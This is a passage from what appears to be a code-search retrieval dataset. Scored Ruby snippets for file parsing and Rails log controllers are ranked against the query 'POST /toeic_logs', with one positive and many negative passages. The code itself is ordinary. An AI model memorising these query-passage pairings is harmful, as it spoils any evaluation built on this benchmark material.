filename\n raise Errno::ENOENT unless File.exists?(filename)\n raise Errno::EISDIR if File.directory?(filename)\n native_parse_file filename\n end", "title": "" }, { "docid": "d0c1f8198b1ff2213fb6d4f07861fc67", "score": "0.4834185", "text": "def process_contents(contents)\n contents.map do |content|\n link = navigate_url(to_link(content[\"path\"]))\n projects = []\n model_file_id = nil\n\n # If this is a file\n if not content[\"is_dir\"]\n link = init_model_file_url(to_link(content[\"path\"]))\n model_file = current_member.model_files.where(path: to_link(content[\"path\"])).first\n\n if model_file\n model_file_id = model_file.id\n end\n end\n\n {\n name: File.basename(content[\"path\"]),\n link: link,\n is_dir: content[\"is_dir\"],\n model_file_id: model_file_id,\n }\n end\n end", "title": "" }, { "docid": "e1626c5062723362333f28b25a540f2b", "score": "0.48328143", "text": "def parse_file(entry)\n puts \"parse_file:#{entry['path']}\"\n entry['name'] = entry['path']\n buf = File.open(entry['path'],\"r\").read #TODO coding detection\n entry['content'] = buf\n entry['line'] = 1\n entry['tag'] = File.extname(entry['path']).gsub('.','')\n entry['parsed'] = true\n [entry]\n end", "title": "" }, { "docid": "77e186056d0c771e3c5b1b67e790b6df", "score": "0.481907", "text": "def get_new_list(list, new_path, parser)\n if File.directory?(new_path)\n walk(new_path, list)\n else\n f = File.open(new_path)\n list.push([parser.parse(f.read), new_path])\n end\n\n list\n end", "title": "" }, { "docid": "bdf258c3f732eadf04b50ef4f24ba35b", "score": "0.47998604", "text": "def dir_to_entries_with_slug path\n raise ArgumentError, \"#{path} is not a directory\" unless File.directory? path\n\n Dir[path+'/*.atom'].map do |e|\n slug = e.match(/.*\\/(.*)\\.atom/)[1]\n slug = nil if slug and slug.match /^0x/\n\n entry = Atom::Entry.parse(File.read(e))\n\n [slug, entry]\n end\nend", "title": "" }, { "docid": "01480bc7a463f869129c26838ecc2f5f", "score": "0.4798535", "text": "def process_artist_dir(dir,pat)\n raise unless dir =~ pat\n @metadata[:artist]= filename2human_text($1)\n in_dir(dir) {\n on_event :artist_dir_enter, dir\n\n # Find albums\n process_dir_of_albums\n\n # Find albumtype directories\n UnicodeIO.glob(0,nil,@glob[:album_type] || @album_types_dirs_glob_string).ci_sort.each do |d|\n next unless UnicodeIO.directory?(d)\n in_dir(d) do\n on_event :album_type_dir_enter, dir\n with_metadata do\n @metadata[:album_type]= @album_types_dir_to_value[d]\n process_dir_of_albums\n end # with_metadata\n end # in_dir\n end # UnicodeIO.glob\n }\n end", "title": "" }, { "docid": "bfa4e11146606b7aaf1309712fd465f8", "score": "0.4790874", "text": "def handle_response(body)\n json = JSON.parse_nil(body)\n unless json.nil?\n item_collection = json[\"item_collection\"]\n if item_collection[\"total_count\"] > 0\n entries = item_collection[\"entries\"]\n entries.each do |entry|\n if entry[\"type\"] == \"folder\"\n request_folder_recursively(entry[\"id\"])\n else\n @file_names << {name: entry[\"name\"], id: entry[\"id\"] }\n end\n end\n end\n end\n end", "title": "" }, { "docid": "19c5ecd02ca3274f5d0f0ab8570a9165", "score": "0.47894153", "text": "def format_dir(dir, data)\n token = dir[/{(.+)}/, 1]\n\n unless token.nil? || data[token.split(\".\").first].nil?\n\n key = dir[/{(.+)}/, 1].split(\".\").first\n nested_key = dir[/{(.+)}/, 1].split(\".\").last \n\n # Linked Airtable records show up as Arrays\n if data[key].kind_of?(Array) && data[key].count == 1\n # binding.pry\n record = record(data[key].first, data[\"base\"])\n formatted_dir = dir.gsub(\"{#{token}}\", record[nested_key].parameterize)\n puts \" identified token #{token} in subdirectory, reformatted to #{formatted_dir}\"\n return formatted_dir\n end\n\n record = record(data[key].first, data[\"base\"])\n formatted_dir = dir.gsub(\"{#{token}}\", record[nested_key].parameterize)\n puts \" identified token #{token} in subdirectory, reformatted to #{formatted_dir}\"\n return formatted_dir\n end\n return dir\n end", "title": "" }, { "docid": "a87086138f5d4a3bb544de02366deca1", "score": "0.47827622", "text": "def parse_folder(base, link)\n if link['type'] == 'folder'\n title = base.title + link['name'] + '/'\n subdir = Folder.new(title, link['children'])\n parse(subdir)\n end\n end", "title": "" }, { "docid": "12e19816abddb5cc3767588d22bd57af", "score": "0.47764638", "text": "def readDirectoryFiles(directory,formats)\n files=[]\n Dir.chdir(directory){\n for i in 0...formats.length\n Dir.glob(formats[i]){|f| files.push(f) }\n end\n }\n return files\nend", "title": "" }, { "docid": "12e19816abddb5cc3767588d22bd57af", "score": "0.47764638", "text": "def readDirectoryFiles(directory,formats)\n files=[]\n Dir.chdir(directory){\n for i in 0...formats.length\n Dir.glob(formats[i]){|f| files.push(f) }\n end\n }\n return files\nend", "title": "" }, { "docid": "3c3142ad49b742d1b18d1fb3606197dd", "score": "0.4773844", "text": "def make_directory_entry(real_path)\n entries = []\n entries + Dir[File.join(real_path, '*')].collect { |f| details(f) }\n end", "title": "" }, { "docid": "9a7074aa69ca202397e00e9537ee5f60", "score": "0.47704363", "text": "def parse\n\n File.readlines(@path).each do |line|\n parsed_new = LineParser.parse_line(line)\n parsed.push(parsed_new)\n end\n end", "title": "" }, { "docid": "b63e4ad79d732f8448e474a06afdaca9", "score": "0.4767576", "text": "def each_article(dir, &block)\n return [] unless Dir.exist?(dir)\n Dir.chdir(dir)\n Dir.foreach(dir) { |entryName|\n isHtml = entryName.end_with?(\".html\") && File.file?(entryName)\n isIndex = entryName.eql? \"index.html\"\n yield entryName if isHtml && !isIndex\n }\nend", "title": "" }, { "docid": "2b97d790436800c0b2c4c8b7fb19d00e", "score": "0.4766136", "text": "def custom_parse!\n self.add_parsed_entry! yield(File.read(@path))\n end", "title": "" } ]
cc87eaab813e181234ca08560387c71b
POST /toeic_logs POST /toeic_logs.json
[ { "docid": "9b1d1adf8f60327af7d1edc8f984859d", "score": "0.67085296", "text": "def create\n @user = current_user;\n @toeic_log = ToeicLog.new(params[:toeic_log])\n\n respond_to do |format|\n if @toeic_log.save\n format.html { redirect_to @toeic_log, notice: 'Toeic log was successfully created.' }\n format.json { render json: @toeic_log, status: :created, location: @toeic_log }\n else\n format.html { render action: \"new\" }\n format.json { render json: @toeic_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "de0d6a812487e0c6d9ed65c7880b7616", "score": "0.6571892", "text": "def create\n @log = current_app.logs.create(params)\n render json: @log\n end", "title": "" }, { "docid": "e2f6b610107effa2a185a79573b9e81a", "score": "0.65565777", "text": "def create\n # If the request body contains a single log (request body is not an array)\n if ( !JSON.parse(request.body.read).is_a?(Array) )\n log_data = JSON.parse(request.body.read)\n status, log = create_new_log(log_data)\n if (status)\n render json: log, status: :created\n else\n render json: log.errors, status: :unprocessable_entity\n end\n # If the request body contains multiple logs (request body is an array)\n else\n logs = []\n # Loop through all logs. Each array element is considered a single log\n JSON.parse(request.body.read).each do |log_data|\n status, log = create_new_log(log_data)\n if (!status)\n render render json: log.errors, status: :unprocessable_entity\n else\n logs.push(log)\n end\n end\n render json: logs, status: :created\n end\n \tend", "title": "" }, { "docid": "10b1608a3c48dc2986d264921aae3a4a", "score": "0.60170525", "text": "def create\n @log = Log.new(log_params)\n\n if @log.save\n render json: @log, status: :created, location: @log\n else\n render json: @log.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "d45b743d84f93138273c49a85e013793", "score": "0.6016112", "text": "def index\n @user = current_user;\n @toeic_logs = ToeicLog.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @toeic_logs }\n end\n end", "title": "" }, { "docid": "9099c6650b4d62c55b5f95da0dae87dc", "score": "0.59742016", "text": "def create\n params[:logs].each { |message| Passbook::Log.create(message: message) }\n head :ok\n end", "title": "" }, { "docid": "dc41a66be034275152db07b36c174fb1", "score": "0.5875239", "text": "def create\n case raw_json\n when Array then handle_many_logs\n when Hash then handle_single_log\n else; sorry \"Post a JSON array or object.\", 422\n end\n end", "title": "" }, { "docid": "82d116ea8fbb8788ad0660d0468da2f4", "score": "0.5844629", "text": "def webhook\n header = \"<h4>#{params[:verb]} #{params[:url]}</h4><p>Server: <b>#{params[:mode]}</b></p>\"\n query = if params[:params] then \"<p>Params: <pre>#{params[:params]}</pre></p>\" else \"\" end\n session = if params[:session] then \"<p>Session Attribute: <pre>#{params[:session]}</pre></p>\" else \"\" end\n exception = \"<p>Exception: <pre>#{params[:exception]}</pre></p>\"\n content = header + query + session + exception\n @project_logs = ProjectLog.create(project: @project, category: 'ERROR', content: content, date: Date.today)\n render nothing: true\n end", "title": "" }, { "docid": "e4e0ed2d9221848ae6e7fa5c0db37d89", "score": "0.5818023", "text": "def create\n @entry_log = EntryLog.new(entry_log_params)\n\n respond_to do |format|\n if @entry_log.save\n format.html { redirect_to @entry_log, notice: 'Entry log was successfully created.' }\n format.json { render :show, status: :created, location: @entry_log }\n else\n format.html { render :new }\n format.json { render json: @entry_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4f5f86643a009fdef3e944626a6d6428", "score": "0.58092797", "text": "def send_cdn_logs\n authorize! :manage, CdnLog\n @log_data = JSON.load(params[:logdata])\n CdnLog.create(@log_data)\n respond_to do |format|\n format.json{ head :ok }\n end\n end", "title": "" }, { "docid": "352a0176c953e78d6685c2155bca242c", "score": "0.58091027", "text": "def logs\n\n end", "title": "" }, { "docid": "7894bb43eb8e5119b66800dc3ba6ada2", "score": "0.5795178", "text": "def create\n @exercise_log = ExerciseLog.new(params[:exercise_log])\n\n respond_to do |format|\n if @exercise_log.save\n format.html { redirect_to @exercise_log, notice: 'Exercise log was successfully created.' }\n format.json { render json: @exercise_log, status: :created, location: @exercise_log }\n else\n format.html { render action: \"new\" }\n format.json { render json: @exercise_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9274f30e7b7f39d7e0cfc404c08a263", "score": "0.5793878", "text": "def create\n\tif user_signed_in?\n\t\t@eventlog = Eventlog.new(params[:eventlog])\n\t\t@eventlog.ename = @eventlog.event.title\n\t\t@eventlog.vname = @eventlog.visitor.fname\n\t\t@eventlog.status = \"not approved\"\n\t\trespond_to do |format|\n\t\t if @eventlog.save\n\t\t\tformat.html { redirect_to @eventlog, notice: 'Eventlog was successfully created.' }\n\t\t\tformat.json { render json: @eventlog, status: :created, location: @eventlog }\n\t\t else\n\t\t\tformat.html { render action: \"new\" }\n\t\t\tformat.json { render json: @eventlog.errors, status: :unprocessable_entity }\n\t\t end\n\t\tend\n\telse\n\t\tflash[:notice] = \"You don't have access to do that\"\n\t\tredirect_to :controller=>'eventlogs', :action => 'index'\n\tend\n end", "title": "" }, { "docid": "ca2e4dc13a8666e292e508f24bcabed4", "score": "0.577852", "text": "def new\n @user = current_user;\n @toeic_log = ToeicLog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @toeic_log }\n end\n end", "title": "" }, { "docid": "b9a84c69a0e73d5b54cea89e7a591709", "score": "0.577788", "text": "def add_applogs(options={})\n self.class.post(\"#{applogs_endpoint}/applogs.json?apikey=#{apikey}\", :body => MultiJson.encode({applog: options}))\n end", "title": "" }, { "docid": "e84d756ca734651532bf08add63b3399", "score": "0.57705146", "text": "def create\n @event_log_entry = EventLogEntry.new(params[:event_log_entry])\n\n respond_to do |format|\n if @event_log_entry.save\n format.html { redirect_to @event_log_entry, notice: 'Event log entry was successfully created.' }\n format.json { render json: @event_log_entry, status: :created, location: @event_log_entry }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event_log_entry.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ad04bd7fd80c98f22b608aae6d16e838", "score": "0.5767773", "text": "def create\n @ethernet_log = EthernetLog.new(ethernet_log_params)\n\n respond_to do |format|\n if @ethernet_log.save\n format.html { redirect_to @ethernet_log, notice: 'Ethernet log was successfully created.' }\n format.json { render :show, status: :created, location: @ethernet_log }\n else\n format.html { render :new }\n format.json { render json: @ethernet_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dfc5d1c12fe20094d2c59d6d75d52de7", "score": "0.57624424", "text": "def log\n parametros = {}\n parametros['action'] = params['action']\n parametros['controller'] = params['controller']\n parametros['fecha'] = Time.zone.now\n parametros['token'] = false\n puts parametros\n log = Log.create(parametros)\n\n # parametros['usuario'] = revisar_token()\n parametros['token'] = true\n log.update(parametros)\n end", "title": "" }, { "docid": "8da03703afdd87a8cb666a1cf5f74e8d", "score": "0.57172084", "text": "def create\n @data_log = DataLog.new(data_log_params)\n\n respond_to do |format|\n if @data_log.save\n format.html { redirect_to @data_log, notice: 'Data log was successfully created.' }\n format.json { render :show, status: :created, location: @data_log }\n else\n format.html { render :new }\n format.json { render json: @data_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1082e907c750adcbe2882793c3d5db4e", "score": "0.5713886", "text": "def create\n @ncr_api_log = NcrApiLog.new(ncr_api_log_params)\n # authorize(@ncr_api_log)\n respond_to do |format|\n if @ncr_api_log.save\n format.html { redirect_to @ncr_api_log, notice: 'Ncr api log was successfully created.' }\n format.json { render :show, status: :created, location: @ncr_api_log }\n else\n format.html { render :new }\n format.json { render json: @ncr_api_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d0557d064825cebf177748fe4346d1dc", "score": "0.5705293", "text": "def create\n @ai_log = AiLog.new(ai_log_params)\n\n respond_to do |format|\n if @ai_log.save\n format.html { redirect_to @ai_log, notice: 'Ai log was successfully created.' }\n format.json { render action: 'show', status: :created, location: @ai_log }\n else\n format.html { render action: 'new' }\n format.json { render json: @ai_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7f50fe519ecb42469c8d8f2574f33950", "score": "0.57050604", "text": "def create\n @ventilation_log = VentilationLog.new(ventilation_log_params)\n\n respond_to do |format|\n if @ventilation_log.save\n format.html { redirect_to @ventilation_log, notice: 'Ventilation log was successfully created.' }\n format.json { render :show, status: :created, location: @ventilation_log }\n else\n format.html { render :new }\n format.json { render json: @ventilation_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4eedec37c07d0227f94601662e77044c", "score": "0.56887287", "text": "def create\n @log_entry = LogEntry.new(params[:log_entry])\n\n respond_to do |format|\n if @log_entry.save\n format.html { redirect_to log_entries_path, :notice => 'Log entry was successfully created.' }\n format.json { render :json => @log_entry, :status => :created, :location => @log_entry }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @log_entry.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "236abcf2f371de7389c633f6aba632f3", "score": "0.56618977", "text": "def create\n @log = Log.new(params[:log])\n @log.goal = @goal\n @logs = @goal.logs\n\n respond_to do |format|\n if @log.save\n format.html { redirect_to :back, notice: 'Log was successfully created.' }\n format.json { render json: @log, status: :created, location: @log }\n else\n format.html { render action: 'index' }\n format.json { render json: @log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ea34f91609c1cd9978169e810d1df34f", "score": "0.5658162", "text": "def create\n @foodlog = Foodlog.new(params[:foodlog])\n\n respond_to do |format|\n if @foodlog.save\n format.html { redirect_to @foodlog, :notice => 'Foodlog was successfully created.' }\n format.json { render :json => @foodlog, :status => :created, :location => @foodlog }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @foodlog.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "14daa7e49c62ff03ecb5edb6bdc4316c", "score": "0.5652468", "text": "def jsonlogger(status,certname,jsonuuid)\n tempHash = {\n \"status\" => status,\n \"certname\" => certname,\n \"uuid\" => jsonuuid\n }\n File.open(logfile,\"a\") do |f|\n f.puts(tempHash.to_json)\n end\nend", "title": "" }, { "docid": "f652b4a4c4d323e9c13a2e9e2bc604be", "score": "0.5651214", "text": "def create\n @wr_log = WrLog.new(params[:wr_log])\n\n respond_to do |format|\n if @wr_log.save\n format.html { redirect_to @wr_log, notice: 'Wr log was successfully created.' }\n format.json { render json: @wr_log, status: :created, location: @wr_log }\n else\n format.html { render action: \"new\" }\n format.json { render json: @wr_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1b958eba2cfe85b602d07e36dc60064d", "score": "0.5647722", "text": "def create\n @time_log = TimeLog.new(params[:time_log])\n \n puts \"Creating a new time_log\"\n\n respond_to do |format|\n if @time_log.save\n format.html { redirect_to @time_log, notice: 'Time log was successfully created.' }\n format.json { render json: @time_log, status: :created, location: @time_log }\n else\n format.html { render action: \"new\" }\n format.json { render json: @time_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a4135d7f5274c0a107b128a607c126a4", "score": "0.56398225", "text": "def create\n @audit_log = AuditLog.new(audit_log_params)\n\n respond_to do |format|\n if @audit_log.save\n format.html { redirect_to @audit_log, notice: 'Audit log was successfully created.' }\n format.json { render :show, status: :created, location: @audit_log }\n else\n format.html { render :new }\n format.json { render json: @audit_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8f97ee756ed1c64e54c8cf0103c7fe6e", "score": "0.5634195", "text": "def log(data)\n t = Thread.new do\n uri = URI(\"http://logs-01.loggly.com/inputs/.../tag/ost/\")\n req = Net::HTTP::Post.new(uri)\n req['content-type'] = \"content-type:application/x-www-form-urlencoded\"\n req.body = data.to_json\n res = Net::HTTP.start(uri.hostname, uri.port) {|http|\n http.request(req)\n }\n end\nend", "title": "" }, { "docid": "2af99279eb8e4915f0055f60e2c2cca3", "score": "0.5628076", "text": "def logs\n end", "title": "" }, { "docid": "7c52927d5d70c78fc92f262fe81907ab", "score": "0.5606524", "text": "def index\n @logs = @goal.logs.order('log_date DESC')\n @log = Log.new\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @logs }\n end\n end", "title": "" }, { "docid": "a8cb088a083082c3535b9619a75dabdc", "score": "0.55713135", "text": "def create\n @timelog = Timelog.new(timelog_params)\n\n respond_to do |format|\n if @timelog.save\n format.html { redirect_to @timelog, notice: 'Timelog was successfully created.' }\n format.json { render :show, status: :created, location: @timelog }\n else\n format.html { render :new }\n format.json { render json: @timelog.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "87f846153c6e6e7332020e69dd117824", "score": "0.5556638", "text": "def create\n @iptable_log = IptableLog.new(iptable_log_params)\n\n respond_to do |format|\n if @iptable_log.save\n format.html { redirect_to @iptable_log, notice: 'Iptable log was successfully created.' }\n format.json { render :show, status: :created, location: @iptable_log }\n else\n format.html { render :new }\n format.json { render json: @iptable_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0f532f1cc3503e90cec125f7e2567a7b", "score": "0.5549374", "text": "def create_log_event(level, message, data=nil)\n event = {}\n event[:timestamp] = Time.now.strftime(\"%Y-%m-%dT%H:%M:%S.%6N%z\")\n event[:level] = level\n event[:message] = message\n if data.is_a?(Hash)\n event.merge!(data)\n end\n# MultiJson.dump(event)\n Oj.dump(event)\n end", "title": "" }, { "docid": "a9bf750b96b74351a8e5f7f3ae5e736c", "score": "0.5546759", "text": "def create\n @input_log = InputLog.new(input_log_params)\n\n respond_to do |format|\n if @input_log.save\n format.html { redirect_to @input_log, notice: 'Input log was successfully created.' }\n format.json { render :show, status: :created, location: @input_log }\n else\n format.html { render :new }\n format.json { render json: @input_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "93f5cd86276ac82fd4b856b212885a52", "score": "0.5536508", "text": "def test_post_sample_traces\n header 'Content-Type', 'application/json'\n\n (0..4).each do |i|\n data = File.read \"sample-traces/#{i}.json\"\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n assert last_response.ok?\n end\n end", "title": "" }, { "docid": "c92ac8df5377b562d444f2ae0cec1852", "score": "0.55252373", "text": "def log(event)\n log_file.puts(event.to_json)\n end", "title": "" }, { "docid": "4b253eca5db7f071653caafa803fe87d", "score": "0.5521399", "text": "def create\n @user = User.find(params[:user_id])\n # @log = @user.logs.create!(log_params)\n @log = @user.logs.create!\n\n respond_to do |format|\n if @log.save\n format.html { redirect_to user_logs_url, notice: 'Log was successfully created.' }\n format.json { render :show, status: :created, location: @log }\n else\n format.html { render :new }\n format.json { render json: @log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "10c30c83933abb3001e6ab2ba462836a", "score": "0.5519177", "text": "def create\n @spree_error_log = Spree::ErrorLog.new(params[:error_log])\n\n respond_to do |format|\n if @spree_error_log.save\n format.html { redirect_to @spree_error_log, notice: 'Erro log was successfully created.' }\n format.json { render json: @spree_error_log, status: :created, location: @spree_error_log }\n else\n format.html { render action: \"new\" }\n format.json { render json: @spree_error_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2fcd6a0688e61143699f94a4086857f5", "score": "0.5512577", "text": "def create\n @log = Log.new(params[:log])\n\n respond_to do |format|\n if @log.save\n format.html { redirect_to @log, notice: 'Log was successfully created.' }\n format.json { render json: @log, status: :created, location: @log }\n else\n format.html { render action: \"new\" }\n format.json { render json: @log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "63de8568f8785598a163d2525469d37b", "score": "0.5510017", "text": "def index\n #Does nothing really... (Except create log)\n\n render json: \"success\"\n end", "title": "" }, { "docid": "4346707870d5a825802ac13a9fbf14dc", "score": "0.54939497", "text": "def create\n @log = Log.new(log_params)\n\n respond_to do |format|\n if @log.save\n format.html { redirect_to @log, notice: 'Log was successfully created.' }\n format.json { render :show, status: :created, location: @log }\n else\n format.html { render :new }\n format.json { render json: @log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4346707870d5a825802ac13a9fbf14dc", "score": "0.54939497", "text": "def create\n @log = Log.new(log_params)\n\n respond_to do |format|\n if @log.save\n format.html { redirect_to @log, notice: 'Log was successfully created.' }\n format.json { render :show, status: :created, location: @log }\n else\n format.html { render :new }\n format.json { render json: @log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4346707870d5a825802ac13a9fbf14dc", "score": "0.54939497", "text": "def create\n @log = Log.new(log_params)\n\n respond_to do |format|\n if @log.save\n format.html { redirect_to @log, notice: 'Log was successfully created.' }\n format.json { render :show, status: :created, location: @log }\n else\n format.html { render :new }\n format.json { render json: @log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "42934f9ef09d210bb13f9e858e886172", "score": "0.5474802", "text": "def create\n @heat_log = HeatLog.new(params[:heat_log])\n\n respond_to do |format|\n if @heat_log.save\n format.html { redirect_to @heat_log, notice: 'Heat log was successfully created.' }\n format.json { render json: @heat_log, status: :created, location: @heat_log }\n else\n format.html { render action: \"new\" }\n format.json { render json: @heat_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4c06c89e75b4fcf3ddc1a4f210c97801", "score": "0.54746616", "text": "def create\n @log = @task.logs.new(log_params)\n\n respond_to do |format|\n if @log.save\n format.html { redirect_to task_path(@log.task), notice: 'Log was successfully created.' }\n format.json { render action: 'show', status: :created, location: @log }\n else\n format.html { render action: 'new' }\n format.json { render json: @log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f475503753828e6452957421f1fb19a9", "score": "0.54657805", "text": "def create\n @audit_trail = AuditTrail.new(audit_trail_params)\n\n respond_to do |format|\n if @audit_trail.save\n format.html { redirect_to @audit_trail, notice: \"Audit trail was successfully created.\" }\n format.json { render :show, status: :created, location: @audit_trail }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @audit_trail.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0b4b502ecafd3a956d51b99e7958a3b5", "score": "0.54618484", "text": "def create\n @action_log = ActionLog.new(action_log_params)\n\n respond_to do |format|\n if @action_log.save\n format.html { redirect_to @action_log, notice: 'Action log was successfully created.' }\n format.json { render action: 'show', status: :created, location: @action_log }\n else\n format.html { render action: 'new' }\n format.json { render json: @action_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a07abb74d3e5f588465dfb3462d384f5", "score": "0.5454715", "text": "def create_log_entry\n Rails.logger.debug(\"@@@ create_log_entry: task = #{@task.inspect} event = #{@event.inspect}\")\n params = Hash.new\n params[:user_id] = current_user.id\n params[:role_id] = current_user.role.id\n params[:ot_id] = @task.ot.id\n params[:task_id] = @task.id\n params[:description] = \"Transicion de #{@task.current_state} a #{@task.current_state.events[@event.to_sym].transitions_to}\"\n log_entry = Audit.new(params)\n log_entry.save\n end", "title": "" }, { "docid": "7314f1a0576d4887cb94db835aa5b08e", "score": "0.5446233", "text": "def create\n @rjlog = Rjlog.new(rjlog_params)\n\n respond_to do |format|\n if @rjlog.save\n format.html { redirect_to @rjlog, notice: 'Rjlog was successfully created.' }\n format.json { render :show, status: :created, location: @rjlog }\n else\n format.html { render :new }\n format.json { render json: @rjlog.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9aad6a14f4e667fa61950f1cbecafc20", "score": "0.5440833", "text": "def create\n @hour_log = HourLog.new(hour_log_params)\n if @hour_log.save\n render json: @hour_log, status: 201\n else\n render json: { error: \"Please make sure to fill all required fields.\" }, status: 400\n end\n end", "title": "" }, { "docid": "a9d64c7856b23ff51efa34c939af3af5", "score": "0.54361105", "text": "def create\n @user_log = UserLog.new(params[:user_log])\n\n respond_to do |format|\n if @user_log.save\n format.html { redirect_to @user_log, notice: 'User log was successfully created.' }\n format.json { render json: @user_log, status: :created, location: @user_log }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "32d08768b27f92357c0097ff53a595f1", "score": "0.54336774", "text": "def create\n @log = Log.new(log_params)\n\n respond_to do |format|\n if @log.save\n format.html { redirect_to @log, notice: 'Log was successfully created.' }\n format.json { render action: 'show', status: :created, location: @log }\n else\n format.html { render action: 'new' }\n format.json { render json: @log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "298e348f5706d2876f2f8b2c5e6ba2d1", "score": "0.5428141", "text": "def create\n @actlog = Actlog.new(actlog_params)\n\n respond_to do |format|\n if @actlog.save\n format.html { redirect_to @actlog, notice: 'Actlog was successfully created.' }\n format.json { render :show, status: :created, location: @actlog }\n else\n format.html { render :new }\n format.json { render json: @actlog.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "62e2901e4915e2150dd578c3567c4127", "score": "0.54255384", "text": "def create\n @logjuego = Logjuego.new(params[:logjuego])\n\n respond_to do |format|\n if @logjuego.save\n format.html { redirect_to @logjuego, notice: 'Logjuego was successfully created.' }\n format.json { render json: @logjuego, status: :created, location: @logjuego }\n else\n format.html { render action: \"new\" }\n format.json { render json: @logjuego.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7f98f53e33eeffabc32f8bf337c34bb1", "score": "0.5420618", "text": "def create\n respond_to do |f|\n \n # formats decimal digits on level\n @level = params[:level].to_f.to_s[0..5]\n \n # the activities are clustered in a string, stored in a single row of the db, unless they are far apart,\n # in which case a new row is created\n # the interval is determined by INTERVAL_BETWEEN_ACTIVITY_CHUNKS\n # see config/application.rb\n if !@last_log or Time.now - @last_log.updated_at > OmniEye::INTERVAL_BETWEEN_ACTIVITY_CHUNKS\n @activity_log = @camera.activity_logs.build( :level => @level, :datetime => params[:datetime] )\n else\n @activity_log = @last_log\n @activity_log.level = @activity_log.level + ' ' + @level\n end\n\n # uploads snapshot if the interval since the last upload is greater than INTERVAL_BETWEEN_SNAPSHOTS\n # see config/application.rb\n @last_snapshot = @activity_log.snapshots.last\n if (!@last_snapshot or Time.now - @last_snapshot.created_at > OmniEye::INTERVAL_BETWEEN_SNAPSHOTS) \n @activity_log.snapshots.build( :img_data => params[:image] ) \n end\n \n if @activity_log.save\n f.json { \n render :json => { :success => true } \n }\n else\n f.json { \n render :json => { :success => false, :errors => @activity_log.errors.as_json }\n }\n end\n end\n end", "title": "" }, { "docid": "fe0d1acce75c3e4cb19e7d3bb9d4eb22", "score": "0.5397258", "text": "def create\n @signout_log = SignoutLog.new(params[:signout_log])\n\n respond_to do |format|\n if @signout_log.save\n format.html { redirect_to @signout_log, :notice => 'Signout log was successfully created.' }\n format.json { render :json => @signout_log, :status => :created, :location => @signout_log }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @signout_log.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "82d40e4a1557eb348d747e7d4bb162f5", "score": "0.5395434", "text": "def create\n @change_log = ChangeLog.new(change_log_params)\n\n respond_to do |format|\n if @change_log.save\n format.html { redirect_to @change_log, notice: 'Change log was successfully created.' }\n format.json { render :show, status: :created, location: @change_log }\n else\n format.html { render :new }\n format.json { render json: @change_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6896fda6215ed471480547a799e51712", "score": "0.53946245", "text": "def create\n @web_service_log = WebServiceLog.new(params[:web_service_log])\n\n respond_to do |format|\n if @web_service_log.save\n format.html { redirect_to @web_service_log, notice: 'Web service log was successfully created.' }\n format.json { render json: @web_service_log, status: :created, location: @web_service_log }\n else\n format.html { render action: \"new\" }\n format.json { render json: @web_service_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4ee553c51a1453d56df10458d2293498", "score": "0.53944874", "text": "def create\n params[:traceroute].each do |tr|\n Traceroute.create(:server => tr[:server], :local_ip => tr[:local_ip], :stdout => tr[:stdout], :stderr => tr[:stderr], :exit_status => tr[:exit_status], :timestamp => tr[:timestamp])\n end\n\n\n\n #puts \"hello #{params}\"\n #@hello = params\n #@hello.map { |k,v| puts \"#{k} is #{v}\" }\n #traceroute_params.each do |v|\n # traceroute = Traceroute.create(v)\n #end\n\n respond_to do |format|\n format.all { render :nothing => true, :status => 